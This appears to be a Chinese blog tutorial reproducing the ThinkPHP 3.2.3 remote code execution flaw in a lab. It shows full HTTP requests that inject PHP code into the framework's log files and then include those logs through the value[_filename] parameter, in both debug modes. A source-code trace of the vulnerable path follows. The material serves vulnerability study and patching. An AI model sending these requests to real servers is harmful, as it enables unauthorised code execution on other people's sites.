ThinkPHP3.2.x RCE

初始配置

  • 这里利用ThinkPHP3.2.3做示例,戳此进行下载
  • 下载后的源码中,需要对Application/Home/Controller/IndexController.class.php内容进行修改
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }
}

漏洞利用

利用burpsuite进行抓包修改包避免编码问题造成漏洞无法利用

debug模式开启

在这里插入图片描述

先用Thinkphp Getshell工具检测一下漏洞是否存在

在这里插入图片描述

请求数据包,查看日志文件Application/Runtime/Logs/Home/21_08_02.log发现成功写入

GET /cms/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
Host: 192.168.10.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rfpmtb683svnoh5emql41ka803
Connection: close

在这里插入图片描述

构造攻击请求,成功触发该漏洞

GET /cms/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log HTTP/1.1
Host: 192.168.10.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rfpmtb683svnoh5emql41ka803
Connection: close

在这里插入图片描述

debug模式未开启

在这里插入图片描述

请求数据包

GET /cms/index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 192.168.10.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rfpmtb683svnoh5emql41ka803
Connection: close

构造攻击请求,成功触发该漏洞

GET /cms/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_08_02.log HTTP/1.1
Host: 192.168.10.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=rfpmtb683svnoh5emql41ka803
Connection: close

文件包含\上传

上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可

http://192.168.10.9/cms/index.php?m=Home&c=Index&a=index&value[_filename]=./phpinfo.php

在这里插入图片描述

漏洞分析

程序执行流程

在这里插入图片描述

漏洞利用原理

在ThinkPHP3.2.3框架的程序中,如果要在模板中输出变量,需要在控制器中把变量传递给模板,系统提供了assign方法对模板变量赋值,本漏洞的利用条件为assign方法的第一个变量可控

本地代码审计

先跟进Application/Home/Controller/IndexController.class.php,功能代码中的assign方法中第一个变量为可控变量

在这里插入图片描述

全局搜索assign,跟进ThinkPHP/Library/Think/View.class.php,可控变量进入assign方法赋值给$this→tVar变量

在这里插入图片描述

进入show方法,跟进ThinkPHP/Library/Think/Controller.class.php,发现进一步调用了display方法

在这里插入图片描述

全局搜索display方法,跟进ThinkPHP/Library/Think/View.class.phpdisplay方法开始解析并获取模板文件内容,此时模板文件路径和内容为空

在这里插入图片描述

进入fetch方法,传入的参数为空时会根据配置获取默认的模板文件位置 (./Application/Home/View/Index/index.html),之后系统配置的默认模板引擎为think,所以会进入else分支,获取$this→tVar变量值赋值给$params,之后进入Hook::listen方法

在这里插入图片描述

进入listen方法,跟进ThinkPHP/Library/Think/Hook.class.php,进入exec方法

在这里插入图片描述

进入exec方法中,处理后调用Behavior\ParseTemplateBehavior类中的run方法处理$params这个带有日志文件路径的值

在这里插入图片描述

进入run方法,跟进ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php,进入else分支调用Think\Template类中的fetch方法对变量$_data进行处理

在这里插入图片描述

跟进ThinkPHP/Library/Think/Template.class.php,获取缓存文件路径后进入Storage的load方法中

在这里插入图片描述

跟进到ThinkPHP/Library/Think/Storage/Driver/File.class.phpload方法中,$_filename为之前获取的缓存文件路径,$vars则为之前带有_filename=日志文件路径的数组,$vars不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,之后include该日志文件路径,导致文件包含,触发ThinkPHP 3.x Log RCE漏洞

在这里插入图片描述

漏洞通报

戳此查看漏洞通报

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值